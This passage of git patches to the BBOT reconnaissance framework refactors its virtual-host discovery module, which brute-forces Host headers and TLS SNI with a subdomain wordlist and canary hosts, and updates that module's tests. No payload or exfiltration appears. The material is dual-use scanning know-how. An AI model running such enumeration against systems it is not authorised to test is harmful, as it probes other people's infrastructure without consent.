"dev.wordcloud.test:8888"]: return Response("Development environment found!", status=200) # Default response return Response("default response", status=404) - async def setup_before_prep(self, module_test): - # Call parent setup first - await super().setup_before_prep(module_test) - - # Mock wordcloud to have some common words - def mock_wordcloud_keys(self): - return ["staging", "prod", "dev", "admin", "api"] - - module_test.monkeypatch.setattr("bbot.core.helpers.wordcloud.WordCloud.keys", mock_wordcloud_keys) - def check(self, module_test, events): wordcloud_hosts_found = set() for e in events: if e.type == "VIRTUAL_HOST": vhost = e.data["virtual_host"] - if vhost in ["staging.localhost", "prod.localhost", "dev.localhost"]: + if vhost in ["staging.wordcloud.test", "prod.wordcloud.test", "dev.wordcloud.test"]: wordcloud_hosts_found.add(vhost) assert len(wordcloud_hosts_found) >= 1, ( @@ -326,3 +480,160 @@ def check(self, module_test, events): # Test that all canaries are different assert canary_subdomain != canary_mutation != canary_random, "Canaries should be different" + + +class TestVirtualhostForceBasehost(VirtualhostTestBase): + """Test force_basehost functionality specifically""" + + targets = ["http://127.0.0.1:8888"] # Use IP to require force_basehost + modules_overrides = ["httpx", "virtualhost"] + test_wordlist = ["admin", "api"] + config_overrides = { + "modules": { + "virtualhost": { + "brute_wordlist": tempwordlist(test_wordlist), + "force_basehost": "forced.domain", # Test force_basehost functionality + "subdomain_brute": True, + "mutation_check": False, + "special_hosts": False, + "certificate_sans": False, + "wordcloud_check": False, + "require_inaccessible": False, + } + } + } + + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() + + # Baseline request to the IP + if not host_header or host_header == "127.0.0.1:8888": + return Response("baseline response from IP", status=200) + + # Wildcard canary check + if re.match(r"[0-9]27\.0\.0\.1:8888", host_header): + return Response("wildcard canary response", status=404) + + # Subdomain canary (12 random chars + .forced.domain) + if re.match(r"[a-z]{12}\.forced\.domain", host_header): + return Response("forced domain canary response", status=404) + + # Virtual hosts using forced basehost + if host_header == "admin.forced.domain": + return Response("Admin with forced basehost found!", status=200) + if host_header == "api.forced.domain": + return Response("API with forced basehost found!", status=200) + + # Default response + return Response("default response", status=404) + + def check(self, module_test, events): + forced_hosts_found = set() + for e in events: + if e.type == "VIRTUAL_HOST": + vhost = e.data["virtual_host"] + if vhost in ["admin.forced.domain", "api.forced.domain"]: + forced_hosts_found.add(vhost) + + # Verify the description shows it used the forced basehost + description = e.data["description"] + assert "Subdomain Brute-force" in description, ( + f"Expected subdomain brute-force discovery: {description}" + ) + + assert len(forced_hosts_found) >= 1, ( + f"Failed to detect virtual hosts with force_basehost. Found: {forced_hosts_found}. " + f"Expected at least one of: admin.forced.domain, api.forced.domain" + ) + + +class TestVirtualhostInterestingDefaultContent(VirtualhostTestBase): + """Test reporting of interesting default canary content during wildcard check""" + + targets = ["http://interesting.test:8888"] + modules_overrides = ["httpx", "virtualhost"] + config_overrides = { + "modules": { + "virtualhost": { + "subdomain_brute": False, + "mutation_check": False, + "special_hosts": False, + "certificate_sans": False, + "wordcloud_check": False, + "report_interesting_default_content": True, + "require_inaccessible": False, + } + } + } + + async def setup_after_prep(self, module_test): + # Start HTTP server + await super().setup_after_prep(module_test) + + # Mock DNS resolution for interesting.test + await module_test.mock_dns({"interesting.test": {"A": ["127.0.0.1"]}}) + + # Dummy module to emit the URL event for the virtualhost module + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_interesting" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + url_event = self.scan.make_event( + "http://interesting.test:8888/", + "URL", + parent=event, + tags=["status-404", "ip-127.0.0.1"], + ) + await self.emit_event(url_event) + + module_test.scan.modules["dummy_module_interesting"] = DummyModule(module_test.scan) + + # Patch virtualhost to inject resolved hosts + vh_module = module_test.scan.modules["virtualhost"] + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() + + # Baseline response for original host (ensure status differs from canary) + if not host_header or host_header in ["interesting.test", "interesting.test:8888"]: + return Response("baseline not found", status=404) + + # Wildcard canary mutated hostname: change first alpha to 'z' -> znteresting.test + if host_header in ["znteresting.test", "znteresting.test:8888"]: + long_body = ( + "This is a sufficiently long default page body that exceeds forty characters " + "to trigger the interesting default content branch." + ) + return Response(long_body, status=200) + + # Default + return Response("default response", status=404) + + def check(self, module_test, events): + found_interesting = False + found_correct_host = False + for e in events: + if e.type == "VIRTUAL_HOST": + print("@@@@@@") + desc = e.data.get("description", "") + print(desc) + if "Interesting Default Content (from random canary host)" in desc: + found_interesting = True + # The VIRTUAL_HOST should be the canary hostname used in the wildcard request + if e.data.get("virtual_host") == "znteresting.test": + found_correct_host = True + break + + assert found_interesting, "Expected VIRTUAL_HOST from interesting default canary content was not emitted" + assert found_correct_host, "virtual_host should equal the canary hostname 'znteresting.test'" From 2ba8318a6a2b81933afdbb55f430f841d27f1788 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 5 Sep 2025 14:11:25 -0400 Subject: [PATCH 034/129] yet another major refactor --- bbot/modules/virtualhost.py | 369 ++++++++++++++++++++++-------------- 1 file changed, 224 insertions(+), 145 deletions(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 6d0bb04b15..8580889a29 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -17,33 +17,36 @@ class virtualhost(BaseModule): deps_pip = ["rapidfuzz"] deps_common = ["curl"] - SIMILARITY_THRESHOLD = 0.6 + SIMILARITY_THRESHOLD = 0.5 CANARY_LENGTH = 12 + MAX_RESULTS_FLOOD_PROTECTION = 50 special_virtualhost_list = ["127.0.0.1", "localhost", "host.docker.internal"] options = { "brute_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt", "force_basehost": "", "brute_lines": 2000, - "subdomain_brute": False, + "subdomain_brute": True, "mutation_check": True, - "special_hosts": True, - "certificate_sans": True, + "special_hosts": False, + "certificate_sans": False, "max_concurrent_requests": 80, "require_inaccessible": True, - "wordcloud_check": True, + "wordcloud_check": False, + "report_interesting_default_content": True, } options_desc = { "brute_wordlist": "Wordlist containing subdomains", "force_basehost": "Use a custom base host (e.g. evilcorp.com) instead of the default behavior of using the current URL", "brute_lines": "take only the first N lines from the wordlist when finding directories", "subdomain_brute": "Enable subdomain brute-force on target host", - "mutation_check": "Enable mutations check on target host", + "mutation_check": "Enable trying mutations of the target host", "special_hosts": "Enable testing of special virtual host list (localhost, etc.)", "certificate_sans": "Enable extraction and testing of Subject Alternative Names from certificates", "wordcloud_check": "Enable check using scan-wide wordcloud data on target host", "max_concurrent_requests": "Maximum number of concurrent virtual host requests", "require_inaccessible": "Only test virtual hosts that are not directly accessible (for discovering hidden content)", + "report_interesting_default_content": "Report interesting default content", } in_scope_only = True @@ -81,15 +84,30 @@ async def handle_event(self, event): if self.config.get("force_basehost"): basehost = self.config.get("force_basehost") else: - basehost = self.helpers.parent_domain(event.parsed_url.netloc) + basehost = self.helpers.parent_domain(event.parsed_url.hostname) is_https = event.parsed_url.scheme == "https" host_ip = next(iter(event.resolved_hosts)) - baseline_response = await self.helpers.web.curl(url=f"{event.parsed_url.scheme}://{basehost}") + if is_https: + port = event.parsed_url.port or 443 + baseline_response = await self.helpers.web.curl( + url=f"https://{host}:{port}/", + resolve={"host": host, "port": port, "ip": host_ip}, + ) + else: + baseline_response = await self.helpers.web.curl( + url=normalized_url, + headers={"Host": host}, + resolve={"host": event.parsed_url.hostname, "port": event.parsed_url.port or 80, "ip": host_ip}, + ) if not await self._wildcard_canary_check(scheme, host, event, host_ip, baseline_response): - self.verbose(f"Skipping {normalized_url} - failed virtual host wildcard check") + self.verbose( + f"WILDCARD CHECK FAILED in handle_event: Skipping {normalized_url} - failed virtual host wildcard check" + ) return None + else: + self.verbose(f"WILDCARD CHECK PASSED in handle_event: Proceeding with {normalized_url}") # Phase 1: Main virtual host bruteforce if self.config.get("subdomain_brute", True): @@ -102,7 +120,6 @@ async def handle_event(self, event): is_https, event, "subdomain", - with_mutations=True, ) # Phase 2: Check existing host for mutations @@ -211,6 +228,31 @@ async def _analyze_subject_alternate_names(self, url): ) return subject_alt_names + async def _report_interesting_default_content(self, event, canary_hostname, host_ip, canary_response): + discovery_method = "Interesting Default Content (from intentionally-incorrect canary host)" + # Build URL with explicit authority to avoid double-port issues + authority = ( + f"{event.parsed_url.hostname}:{event.parsed_url.port}" + if event.parsed_url.port is not None + else event.parsed_url.hostname + ) + # Use the explicit canary hostname used in the wildcard request (works for HTTP Host and HTTPS SNI) + canary_host = (canary_hostname or "").split(":")[0] + virtualhost_dict = { + "host": str(event.host), + "url": f"{event.parsed_url.scheme}://{authority}/", + "virtual_host": canary_host, + "description": self._build_description(discovery_method, canary_response, True, host_ip), + "ip": host_ip, + } + + await self.emit_event( + virtualhost_dict, + "VIRTUAL_HOST", + parent=event, + context=f"{{module}} discovered virtual host via {discovery_method} for {event.data} and found {{event.type}}: {canary_host}", + ) + def _get_canary_random_host(self, host, basehost, mode="subdomain"): """Generate a random host for the canary""" # Seed RNG with domain to get consistent canary hosts for same domain @@ -223,9 +265,7 @@ def _get_canary_random_host(self, host, basehost, mode="subdomain"): canary_host = f"{random_prefix}-{host}" elif mode == "subdomain": # Default subdomain mode - add random subdomain - canary_host = ( - "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) + f".{basehost}" - ) + canary_host = "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) + basehost elif mode == "random": # Fully random hostname with .com TLD random_host = "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) @@ -239,7 +279,8 @@ async def _get_canary_response(self, normalized_url, basehost, host_ip, is_https """Setup canary response for comparison using the appropriate technique. Returns canary response or None on failure.""" parsed = urlparse(normalized_url) - host = parsed.netloc + # Use hostname without port to avoid duplicating port in canary host + host = parsed.hostname or (parsed.netloc.split(":")[0] if ":" in parsed.netloc else parsed.netloc) # Seed RNG with domain to get consistent canary hosts for same domain canary_host = self._get_canary_random_host(host, basehost, mode) @@ -252,7 +293,11 @@ async def _get_canary_response(self, normalized_url, basehost, host_ip, is_https resolve={"host": canary_host, "port": port, "ip": host_ip}, ) else: - canary_response = await self.helpers.web.curl(url=normalized_url, headers={"Host": canary_host}) + canary_response = await self.helpers.web.curl( + url=normalized_url, + headers={"Host": canary_host}, + resolve={"host": parsed.hostname, "port": parsed.port or 80, "ip": host_ip}, + ) return canary_response @@ -274,42 +319,91 @@ async def _is_host_accessible(self, url): async def _wildcard_canary_check(self, probe_scheme, probe_host, event, host_ip, probe_response): """Change one char in probe_host and test - if responses are similar, it's probably a wildcard""" - # Find first alphabetic character and change it, fallback to first character - modified_host = None - for i, char in enumerate(probe_host): + # Extract hostname and port separately to avoid corrupting the port portion + original_hostname = event.parsed_url.hostname or "" + original_port = event.parsed_url.port + original_url = f"{probe_scheme}://{event.parsed_url.netloc}/" + + # Try to mutate the first alphabetic character in the hostname + modified_hostname = None + for i, char in enumerate(original_hostname): if char.isalpha(): new_char = "z" if char != "z" else "a" - modified_host = probe_host[:i] + new_char + probe_host[i + 1 :] + modified_hostname = original_hostname[:i] + new_char + original_hostname[i + 1 :] break - if modified_host is None: - # Fallback: generate random hostname of similar length - modified_host = "".join(random.choice(string.ascii_lowercase) for _ in range(len(probe_host))) + if modified_hostname is None: + # Fallback: generate random hostname of similar length (hostname-only) + modified_hostname = "".join( + random.choice(string.ascii_lowercase) for _ in range(len(original_hostname) or 12) + ) + + # Build modified host strings for each protocol + https_modified_host_for_sni = modified_hostname + http_modified_host_for_header = f"{modified_hostname}:{original_port}" if original_port else modified_hostname # Test modified host if probe_scheme == "https": port = event.parsed_url.port or 443 - final_canary_response = await self.helpers.web.curl( - url=f"https://{modified_host}:{port}/", resolve={"host": modified_host, "port": port, "ip": host_ip} + wildcard_canary_response = await self.helpers.web.curl( + url=f"https://{https_modified_host_for_sni}:{port}/", + resolve={"host": https_modified_host_for_sni, "port": port, "ip": host_ip}, ) else: - final_canary_response = await self.helpers.web.curl( - url=f"{probe_scheme}://{probe_host}", headers={"Host": modified_host} + wildcard_canary_response = await self.helpers.web.curl( + url=f"{probe_scheme}://{event.parsed_url.netloc}/", + headers={"Host": http_modified_host_for_header}, + resolve={"host": event.parsed_url.hostname, "port": event.parsed_url.port or 80, "ip": host_ip}, ) - if not final_canary_response or final_canary_response["http_code"] == 0: - self.debug(f"Wildcard check: {modified_host} failed to respond, assuming {probe_host} is valid") + if not wildcard_canary_response or wildcard_canary_response["http_code"] == 0: + self.debug( + f"Wildcard check: {http_modified_host_for_header} failed to respond, assuming {probe_host} is valid" + ) return True # Modified failed, original probably valid + # If HTTP status codes differ, consider this a pass (not wildcard) + if probe_response.get("http_code") != wildcard_canary_response.get("http_code"): + self.debug( + f"WILDCARD CHECK OK (status mismatch): {probe_host} ({probe_response.get('http_code')}) vs {http_modified_host_for_header} ({wildcard_canary_response.get('http_code')})" + ) + if ( + self.config.get("report_interesting_default_content", True) + and wildcard_canary_response.get("http_code") == 200 + and len(wildcard_canary_response.get("response_data", "")) > 40 + ): + canary_hostname = ( + https_modified_host_for_sni if probe_scheme == "https" else http_modified_host_for_header + ) + await self._report_interesting_default_content( + event, canary_hostname, host_ip, wildcard_canary_response + ) + return True + # Compare original probe response with modified response - similarity = self.get_content_similarity(probe_response, final_canary_response) + similarity = self.get_content_similarity(probe_response, wildcard_canary_response) result = similarity <= self.SIMILARITY_THRESHOLD - # Only log when wildcard is detected (failure case) if not result: - self.verbose( - f"Wildcard check: {probe_host} vs {modified_host} similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}) -> FAIL (wildcard detected)" + self.debug( + f"WILDCARD DETECTED: {probe_host} vs {http_modified_host_for_header} similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}) -> FAIL (wildcard detected)" ) + else: + self.debug( + f"WILDCARD CHECK OK: {probe_host} vs {http_modified_host_for_header} similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}) -> PASS (not wildcard)" + ) + if ( + self.config.get("report_interesting_default_content", True) + and wildcard_canary_response.get("http_code") == 200 + and len(wildcard_canary_response.get("response_data", "")) > 40 + ): + canary_hostname = ( + https_modified_host_for_sni if probe_scheme == "https" else http_modified_host_for_header + ) + await self._report_interesting_default_content( + event, canary_hostname, host_ip, wildcard_canary_response + ) + return result # True if they're different (good), False if similar (wildcard) async def _run_virtualhost_phase( @@ -323,7 +417,6 @@ async def _run_virtualhost_phase( canary_mode, wordlist=None, skip_dns_host=False, - with_mutations=False, ): """Helper method to run a virtual host discovery phase and optionally mutations""" @@ -335,7 +428,6 @@ async def _run_virtualhost_phase( self.debug(f"Failed to get canary response for {normalized_url}, skipping virtual host detection") return [] - # Main discovery phase results = await self.curl_virtualhost( discovery_method, normalized_url, @@ -346,32 +438,6 @@ async def _run_virtualhost_phase( wordlist, skip_dns_host, ) - if results: - if with_mutations: - for virtual_host_data in results: - mutation_wordlist = self.mutations_check(virtual_host_data["probe_host"]) - if mutation_wordlist: - self.verbose(f"=== Starting mutations for {virtual_host_data['probe_host']} ===") - mutation_results = await self.curl_virtualhost( - f"Mutations on {virtual_host_data['probe_host']}", - normalized_url, - basehost, - event, - canary_response, - canary_mode, - wordlist=mutation_wordlist, - skip_dns_host=skip_dns_host, - ) - if mutation_results: - results.extend(mutation_results) - - # Final safeguard: check total result count - max_results = 50 # Configurable threshold - if len(results) > max_results: - self.warning( - f"Found {len(results)} virtual hosts for host {event.host} (limit: {max_results}), likely false positives - rejecting all results" - ) - return [] # Emit all valid results for virtual_host_data in results: @@ -393,33 +459,6 @@ async def _run_virtualhost_phase( context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.data} and found {{event.type}}: {{event.data}}", ) - def _generate_virtualhost_coroutines( - self, - candidates_to_check, - host_ips, - normalized_url, - basehost, - event, - canary_response, - canary_mode, - skip_dns_host, - discovery_method, - ): - """Generator that yields virtual host test coroutines on-demand""" - for host_ip in host_ips: - for probe_host in candidates_to_check: - yield self._safe_test_virtualhost( - normalized_url, - probe_host, - basehost, - event, - canary_response, - canary_mode, - skip_dns_host, - host_ip, - discovery_method, - ) - async def curl_virtualhost( self, discovery_method, @@ -443,10 +482,14 @@ async def curl_virtualhost( word = word.strip() if not word: continue + # Construct virtual host header if basehost: + # Wordlist entries are subdomain prefixes - append basehost probe_host = f"{word}{basehost}" + else: + # No basehost - use as-is probe_host = word # Skip if this would be the same as the original host @@ -460,8 +503,8 @@ async def curl_virtualhost( host_ips = event.resolved_hosts total_tests = len(candidates_to_check) * len(host_ips) - self.debug( - f"Testing {total_tests} virtual hosts with max {self.max_concurrent} concurrent requests using {discovery_method} against {len(host_ips)} IPs..." + self.verbose( + f"Initiating {total_tests} virtual host tests ({len(candidates_to_check)} candidates × {len(host_ips)} IPs) with max {self.max_concurrent} concurrent requests" ) # Collect all virtual host results before emitting @@ -469,55 +512,55 @@ async def curl_virtualhost( # Process results as they complete with concurrency control try: - # Use generator to create coroutines on-demand - coroutine_generator = self._generate_virtualhost_coroutines( - candidates_to_check, - host_ips, - normalized_url, - basehost, - event, - canary_response, - canary_mode, - skip_dns_host, - discovery_method, + # Build coroutines on-demand without wrapper + coroutines = ( + self._test_virtualhost( + normalized_url, + probe_host, + basehost, + event, + canary_response, + canary_mode, + skip_dns_host, + host_ip, + discovery_method, + ) + for host_ip in host_ips + for probe_host in candidates_to_check ) - max_results = 50 # Get limit for early exit check - - async for completed in self.helpers.as_completed(coroutine_generator, self.max_concurrent): - result = await completed + async for completed in self.helpers.as_completed(coroutines, self.max_concurrent): + try: + result = await completed + except CurlError as e: + if getattr(self.scan, "stopping", False) or getattr(self.scan, "aborting", False): + self.debug(f"CurlError during shutdown (suppressed): {e}") + break + self.warning(f"CurlError in virtualhost test (skipping this test): {e}") + continue if result: # Only append non-None results virtual_host_results.append(result) + self.debug( + f"ADDED RESULT {len(virtual_host_results)}: {result['probe_host']} (similarity: {result['similarity']:.3f}) [Status: {result['status_code']} | Size: {result['content_length']} bytes]" + ) # Early exit if we're clearly hitting false positives - if len(virtual_host_results) >= max_results: + if len(virtual_host_results) >= self.MAX_RESULTS_FLOOD_PROTECTION: self.warning( - f"Early exit: found {len(virtual_host_results)} virtual hosts (limit: {max_results}), likely false positives - stopping further tests" + f"RESULT FLOOD DETECTED: found {len(virtual_host_results)} virtual hosts (limit: {self.MAX_RESULTS_FLOOD_PROTECTION}), likely false positives - stopping further tests and skipping reporting" ) break + except CurlError as e: + if getattr(self.scan, "stopping", False) or getattr(self.scan, "aborting", False): + self.debug(f"CurlError in as_completed during shutdown (suppressed): {e}") + return [] self.warning(f"CurlError in as_completed, stopping all tests: {e}") return [] - # Final safeguard: check result count (now mostly redundant due to early exit) - max_results = 50 # Configurable threshold - if len(virtual_host_results) > max_results: - self.verbose( - f"Found {len(virtual_host_results)} virtual hosts (limit: {max_results}), likely false positives - rejecting all results" - ) - return [] - # Return results for emission at _run_virtualhost_phase level return virtual_host_results - async def _safe_test_virtualhost(self, *args, **kwargs): - """Wrapper that catches CurlError and returns None instead of raising""" - try: - return await self._test_virtualhost(*args, **kwargs) - except CurlError as e: - self.warning(f"CurlError in virtualhost test (skipping this test): {e}") - return None - async def _test_virtualhost( self, normalized_url, @@ -547,7 +590,7 @@ async def _test_virtualhost( probe_response = await self.helpers.web.curl( url=normalized_url, headers={"Host": probe_host}, - resolve={"host": probe_host, "port": event.port or 80, "ip": host_ip}, + resolve={"host": event.parsed_url.hostname, "port": event.parsed_url.port or 80, "ip": host_ip}, ) if not probe_response or probe_response["response_data"] == "": @@ -561,21 +604,32 @@ async def _test_virtualhost( # Different from canary = possibly real virtual host, similar to canary = probably junk if similarity > self.SIMILARITY_THRESHOLD: + self.debug( + f"REJECTING {probe_host}: similarity {similarity:.3f} > threshold {self.SIMILARITY_THRESHOLD} (too similar to canary)" + ) return None + else: + self.verbose( + f"POTENTIAL VIRTUALHOST {probe_host} sim={similarity:.3f} " + f"probe: {probe_response.get('http_code', 'N/A')} | {len(probe_response.get('response_data', ''))}B | {probe_response.get('url', 'N/A')} ; " + f"canary: {canary_response.get('http_code', 'N/A')} | {len(canary_response.get('response_data', ''))}B | {canary_response.get('url', 'N/A')}" + ) # Re-verify canary consistency before emission if not await self._verify_canary( event, canary_response, canary_mode, normalized_url, probe_host, is_https, basehost, host_ip ): self.verbose( - f"Canary changed since initial test, rejecting {probe_host}. Original canary had code {canary_response['http_code']} and response data of length {len(canary_response['response_data'])}" + f"CANARY CHANGED: Rejecting {probe_host}. Original canary had code {canary_response['http_code']} and response data of length {len(canary_response['response_data'])}" ) raise CurlError(f"Canary changed since initial test, rejecting {probe_host}") + # Canary is consistent, proceed # Don't emit if this would be the same as the original netloc if probe_host != event.parsed_url.netloc: # Check if this virtual host is externally accessible - probe_url = f"{event.parsed_url.scheme}://{probe_host}/" + port = event.parsed_url.port or (443 if is_https else 80) + probe_url = f"{event.parsed_url.scheme}://{probe_host}:{port}/" is_externally_accessible = await self._is_host_accessible(probe_url) virtualhost_dict = { @@ -603,10 +657,9 @@ async def _test_virtualhost( "probe_host": probe_host, "skip_dns_host": skip_dns_host, "discovery_method": f"{discovery_method} ({technique})", + "status_code": probe_response.get("http_code", "N/A"), + "content_length": len(probe_response.get("response_data", "")), } - else: - self.debug(f"SKIPPING {probe_host} - same as original netloc") - return None def analyze_response(self, probe_host, probe_response, canary_response, event): probe_status = probe_response["http_code"] @@ -647,7 +700,8 @@ def analyze_response(self, probe_host, probe_response, canary_response, event): return None # Calculate content similarity to canary (junk response) - similarity = self.get_content_similarity(canary_response, probe_response) + # Use probe hostname for normalization to remove hostname reflection differences + similarity = self.get_content_similarity(canary_response, probe_response, reflection_filter=probe_host) # Debug logging only when we think we found a match if similarity <= self.SIMILARITY_THRESHOLD: @@ -657,24 +711,20 @@ def analyze_response(self, probe_host, probe_response, canary_response, event): return similarity - def get_content_similarity(self, canary_response, probe_response): + def get_content_similarity(self, canary_response, probe_response, reflection_filter=None): # Create fast hashes for cache key using xxHash canary_data = canary_response["response_data"] probe_data = probe_response["response_data"] + # Normalize by removing hostname to eliminate hostname reflection differences + if reflection_filter: + probe_data = probe_data.replace(reflection_filter, "") + canary_data = canary_data.replace(reflection_filter, "") + # Fastest check: exact equality (very common for identical error pages) if canary_data == probe_data: return 1.0 # Exactly the same - # Fast pre-filter: if response lengths are drastically different, skip expensive calculation - canary_len = len(canary_data) - probe_len = len(probe_data) - - if canary_len > 0 and probe_len > 0: - length_ratio = min(canary_len, probe_len) / max(canary_len, probe_len) - if length_ratio < 0.3: # Very conservative - only skip if >70% length difference - return 0.0 # Definitely not similar - canary_hash = xxhash.xxh64(canary_data.encode() if isinstance(canary_data, str) else canary_data).hexdigest() probe_hash = xxhash.xxh64(probe_data.encode() if isinstance(probe_data, str) else probe_data).hexdigest() @@ -770,17 +820,33 @@ def mutations_check(self, virtualhost): async def finish(self): # phase 5: check existing hosts with wordcloud + self.verbose(" === Starting Finish() Wordcloud check === ") if not self.config.get("wordcloud_check", True): - self.debug("Wordcloud check is disabled, skipping finish phase") + self.debug("FINISH METHOD: Wordcloud check is disabled, skipping finish phase") return if not self.helpers.word_cloud.keys(): - self.debug("No wordcloud data available for finish phase") + self.verbose("FINISH METHOD: No wordcloud data available for finish phase") return - tempfile = self.helpers.tempfile(list(self.helpers.word_cloud.keys()), pipe=False) - self.verbose( - f"Starting wordcloud mutations on {len(self.scanned_hosts)} hosts using {len(list(self.helpers.word_cloud.keys()))} words from wordcloud" + # Filter wordcloud words: no dots, reasonable length limit + all_wordcloud_words = list(self.helpers.word_cloud.keys()) + filtered_words = [] + for word in all_wordcloud_words: + # Filter out words with dots (likely full domains) + if "." in word: + continue + # Filter out very long words (likely noise) + if len(word) > 15: + continue + # Filter out very short words (likely noise) + if len(word) < 2: + continue + filtered_words.append(word) + + tempfile = self.helpers.tempfile(filtered_words, pipe=False) + self.debug( + f"FINISH METHOD: Starting wordcloud check on {len(self.scanned_hosts)} hosts using {len(filtered_words)} filtered words from wordcloud" ) for host, event in self.scanned_hosts.items(): @@ -790,12 +856,25 @@ async def finish(self): if self.config.get("force_basehost"): basehost = self.config.get("force_basehost") else: - basehost = self.helpers.parent_domain(host_parsed_url.netloc) + basehost = self.helpers.parent_domain(host_parsed_url.hostname) # Get fresh canary and original response for this host is_https = host_parsed_url.scheme == "https" host_ip = next(iter(event.resolved_hosts)) + self.verbose(f"FINISH METHOD: Starting wildcard check for {host}") + baseline_response = await self.helpers.web.curl(url=f"{host_parsed_url.scheme}://{basehost}") + if not await self._wildcard_canary_check( + host_parsed_url.scheme, host_parsed_url.netloc, event, host_ip, baseline_response + ): + self.debug( + f"WILDCARD CHECK FAILED in finish: Skipping {host} in wordcloud phase - failed virtual host wildcard check" + ) + self.wordcloud_tried_hosts.add(host) # Mark as tried to avoid retrying + continue + else: + self.debug(f"WILDCARD CHECK PASSED in finish: Proceeding with wordcloud mutations for {host}") + await self._run_virtualhost_phase( "Target host wordcloud mutations", host, From 824d35d22e66e2643073a63a5930281732809990 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 5 Sep 2025 15:15:06 -0400 Subject: [PATCH 035/129] i let the clanker try to alphabetize --- bbot/core/helpers/names_generator.py | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/bbot/core/helpers/names_generator.py b/bbot/core/helpers/names_generator.py index 53ffd98a3c..cc45b19cf6 100644 --- a/bbot/core/helpers/names_generator.py +++ b/bbot/core/helpers/names_generator.py @@ -42,8 +42,8 @@ "crumbly", "cryptic", "cuddly", - "cute", "cursed", + "cute", "dark", "dastardly", "decrypted", @@ -158,8 +158,8 @@ "mushy", "mysterious", "nascent", - "nautical", "naughty", + "nautical", "nefarious", "negligent", "neurotic", @@ -349,8 +349,8 @@ "brianna", "brittany", "bruce", - "buhner", "bryan", + "buhner", "caitlyn", "cal", "caleb", @@ -437,6 +437,7 @@ "evan", "evelyn", "faramir", + "felix", "florence", "fox", "frances", @@ -462,8 +463,8 @@ "goldberry", "gollum", "grace", - "griffey", "gregory", + "griffey", "gus", "hagrid", "hank", @@ -521,8 +522,8 @@ "judith", "judy", "julia", - "julio", "julie", + "julio", "justin", "karen", "katherine", @@ -703,8 +704,9 @@ "wayne", "wendy", "william", - "wilson", "willie", + "wilson", + "woo", "worf", "wormtongue", "xavier", From 9fdf57908cf7b0876c76c7d27af70399b1fed73e Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 5 Sep 2025 17:22:00 -0400 Subject: [PATCH 036/129] lint --- bbot/modules/virtualhost.py | 1 - 1 file changed, 1 deletion(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 8580889a29..1ff21c3104 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -322,7 +322,6 @@ async def _wildcard_canary_check(self, probe_scheme, probe_host, event, host_ip, # Extract hostname and port separately to avoid corrupting the port portion original_hostname = event.parsed_url.hostname or "" original_port = event.parsed_url.port - original_url = f"{probe_scheme}://{event.parsed_url.netloc}/" # Try to mutate the first alphabetic character in the hostname modified_hostname = None From 53512df64594cb07d5e9bc602f0b0e0ea44fdd49 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 5 Sep 2025 20:20:49 -0400 Subject: [PATCH 037/129] fixing test --- bbot/test/test_step_2/module_tests/test_module_virtualhost.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py index 654ab71f69..e7417f9d8a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py +++ b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py @@ -628,7 +628,7 @@ def check(self, module_test, events): print("@@@@@@") desc = e.data.get("description", "") print(desc) - if "Interesting Default Content (from random canary host)" in desc: + if "Interesting Default Content (from intentionally-incorrect canary host)" in desc: found_interesting = True # The VIRTUAL_HOST should be the canary hostname used in the wildcard request if e.data.get("virtual_host") == "znteresting.test": From fbeadc0b2c780515d6282751624eaa0d3e09b4e6 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 6 Sep 2025 22:46:47 -0400 Subject: [PATCH 038/129] adjustments --- bbot/modules/virtualhost.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 1ff21c3104..477e91131f 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -535,7 +535,7 @@ async def curl_virtualhost( if getattr(self.scan, "stopping", False) or getattr(self.scan, "aborting", False): self.debug(f"CurlError during shutdown (suppressed): {e}") break - self.warning(f"CurlError in virtualhost test (skipping this test): {e}") + self.debug(f"CurlError in virtualhost test (skipping this test): {e}") continue if result: # Only append non-None results virtual_host_results.append(result) @@ -669,6 +669,10 @@ def analyze_response(self, probe_host, probe_response, canary_response, event): self.debug(f"SKIPPING {probe_host} - no valid HTTP response (status: {probe_status})") return None + if probe_status == 400: + self.debug(f"SKIPPING {probe_host} - got 400 Bad Request") + return None + # Check for 421 Misdirected Request - clear signal that virtual host doesn't exist if probe_status == 421: self.debug(f"SKIPPING {probe_host} - got 421 Misdirected Request (SNI not configured)") From cbe372d98ff05004bbd857f00557d60d36493c92 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 8 Sep 2025 13:33:37 -0400 Subject: [PATCH 039/129] more 